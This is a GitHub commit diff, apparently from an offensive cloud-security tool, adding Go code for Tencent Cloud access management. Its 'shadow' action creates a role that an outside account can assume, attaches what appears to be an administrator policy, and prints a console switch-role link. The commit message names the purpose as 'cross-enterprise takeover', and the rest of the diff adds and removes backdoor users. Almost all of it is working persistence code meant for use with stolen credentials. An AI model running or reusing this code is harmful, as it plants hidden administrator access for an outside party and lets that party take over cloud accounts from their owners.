Skip to content

Commit c2e662a

Browse files
404tk404tk
committed
feat(tencent):CreateRole implements cross-enterprise takeover
1 parent f787410 commit c2e662a

File tree

6 files changed

+103
-8
lines changed

6 files changed

+103
-8
lines changed

‎pkg/providers/tencent/cam/roleadd.go‎

Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
package cam
2+
3+
import (
4+
"fmt"
5+
"log"
6+
7+
cam "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/cam/v20190116"
8+
"github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/common"
9+
"github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/common/profile"
10+
)
11+
12+
func (d *CamUserProvider) AddRole() {
13+
cpf := profile.NewClientProfile()
14+
client, _ := cam.NewClient(d.Credential, "", cpf)
15+
err := createRole(client, d.RoleName, d.Uin)
16+
if err != nil {
17+
log.Println("[-] Create role failed:", err.Error())
18+
return
19+
}
20+
err = attachPolicyToRole(client, d.RoleName)
21+
OwnerID := getOwnerUin(client)
22+
log.Printf("[+] Switch URL: https://cloud.tencent.com/cam/switchrole?ownerUin=%s&roleName=%s\n", OwnerID, d.RoleName)
23+
}
24+
25+
func createRole(client *cam.Client, roleName, uin string) error {
26+
request := cam.NewCreateRoleRequest()
27+
request.RoleName = common.StringPtr(roleName)
28+
request.ConsoleLogin = common.Uint64Ptr(1)
29+
request.SessionDuration = common.Uint64Ptr(10000)
30+
policy := fmt.Sprintf(
31+
`{"version":"2.0","statement":[{"action":"name/sts:AssumeRole","effect":"allow","principal":{"qcs":["qcs::cam::uin/%s:root"]}}]}`, uin)
32+
request.PolicyDocument = common.StringPtr(policy)
33+
_, err := client.CreateRole(request)
34+
return err
35+
}
36+
37+
func attachPolicyToRole(client *cam.Client, roleName string) error {
38+
request := cam.NewAttachRolePolicyRequest()
39+
request.PolicyId = common.Uint64Ptr(1)
40+
request.AttachRoleName = common.StringPtr(roleName)
41+
_, err := client.AttachRolePolicy(request)
42+
return err
43+
}

‎pkg/providers/tencent/cam/roledel.go‎

Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
package cam
2+
3+
import (
4+
"log"
5+
6+
cam "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/cam/v20190116"
7+
"github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/common"
8+
"github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/common/profile"
9+
)
10+
11+
func (d *CamUserProvider) DelRole() {
12+
cpf := profile.NewClientProfile()
13+
client, _ := cam.NewClient(d.Credential, "", cpf)
14+
err := detachPolicyFromRole(client, d.RoleName)
15+
if err != nil {
16+
log.Printf("[-] Remove policy from %s failed: %s\n", d.RoleName, err.Error())
17+
return
18+
}
19+
err = deleteRole(client, d.RoleName)
20+
if err != nil {
21+
log.Printf("[-] Delete role %s failed: %s\n", d.RoleName, err.Error())
22+
return
23+
}
24+
log.Println("[+] Done.")
25+
}
26+
27+
func detachPolicyFromRole(client *cam.Client, roleName string) error {
28+
request := cam.NewDetachRolePolicyRequest()
29+
request.PolicyId = common.Uint64Ptr(1)
30+
request.DetachRoleName = common.StringPtr(roleName)
31+
_, err := client.DetachRolePolicy(request)
32+
return err
33+
}
34+
35+
func deleteRole(client *cam.Client, roleName string) error {
36+
request := cam.NewDeleteRoleRequest()
37+
request.RoleName = common.StringPtr(roleName)
38+
_, err := client.DeleteRole(request)
39+
return err
40+
}

‎pkg/providers/tencent/cam/useradd.go‎

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -26,7 +26,7 @@ func (d *CamUserProvider) AddUser() {
2626
d.Password, "https://cloud.tencent.com/login/subAccount/"+OwnerID)
2727
}
2828

29-
func createUser(client *cam.Client, userName string, password string) error {
29+
func createUser(client *cam.Client, userName, password string) error {
3030
request := cam.NewAddUserRequest()
3131
request.Name = common.StringPtr(userName)
3232
request.ConsoleLogin = common.Uint64Ptr(1)
@@ -43,7 +43,7 @@ func attachPolicyToUser(client *cam.Client, userName string) error {
4343
}
4444
request := cam.NewAttachUserPolicyRequest()
4545
request.PolicyId = common.Uint64Ptr(1)
46-
request.AttachUin = common.Uint64Ptr(*resp.Response.Uin)
46+
request.AttachUin = resp.Response.Uin
4747
_, err = client.AttachUserPolicy(request)
4848
return err
4949
}

‎pkg/providers/tencent/cam/userdel.go‎

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -21,6 +21,7 @@ func (d *CamUserProvider) DelUser() {
2121
log.Printf("[-] Delete user %s failed: %s\n", d.UserName, err.Error())
2222
return
2323
}
24+
log.Println("[+] Done.")
2425
}
2526

2627
func detachPolicyFromUser(client *cam.Client, userName string) error {
@@ -30,7 +31,7 @@ func detachPolicyFromUser(client *cam.Client, userName string) error {
3031
}
3132
request := cam.NewDetachUserPolicyRequest()
3233
request.PolicyId = common.Uint64Ptr(1)
33-
request.DetachUin = common.Uint64Ptr(*resp.Response.Uin)
34+
request.DetachUin = resp.Response.Uin
3435
_, err = client.DetachUserPolicy(request)
3536
return err
3637
}

‎pkg/providers/tencent/cam/users.go‎

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -15,6 +15,8 @@ type CamUserProvider struct {
1515
Credential *common.Credential
1616
UserName string
1717
Password string
18+
RoleName string
19+
Uin string
1820
}
1921

2022
func (d *CamUserProvider) GetCamUser(ctx context.Context) ([]*schema.User, error) {

‎pkg/providers/tencent/tencent.go‎

Lines changed: 14 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -97,14 +97,23 @@ func (p *Provider) Resources(ctx context.Context) (*schema.Resources, error) {
9797
return list, err
9898
}
9999

100-
func (p *Provider) UserManagement(action, uname, pwd string) {
101-
ramprovider := &cam.CamUserProvider{
102-
Credential: p.credential, UserName: uname, Password: pwd}
100+
func (p *Provider) UserManagement(action, args_1, args_2 string) {
101+
camprovider := &cam.CamUserProvider{Credential: p.credential}
103102
switch action {
104103
case "add":
105-
ramprovider.AddUser()
104+
camprovider.UserName = args_1
105+
camprovider.Password = args_2
106+
camprovider.AddUser()
106107
case "del":
107-
ramprovider.DelUser()
108+
camprovider.UserName = args_1
109+
camprovider.DelUser()
110+
case "shadow":
111+
camprovider.RoleName = args_1
112+
camprovider.Uin = args_2
113+
camprovider.AddRole()
114+
case "delrole":
115+
camprovider.RoleName = args_1
116+
camprovider.DelRole()
108117
default:
109118
log.Println("[-] Please set metadata like \"add username password\" or \"del username\"")
110119
}

0 commit comments

Comments
 (0)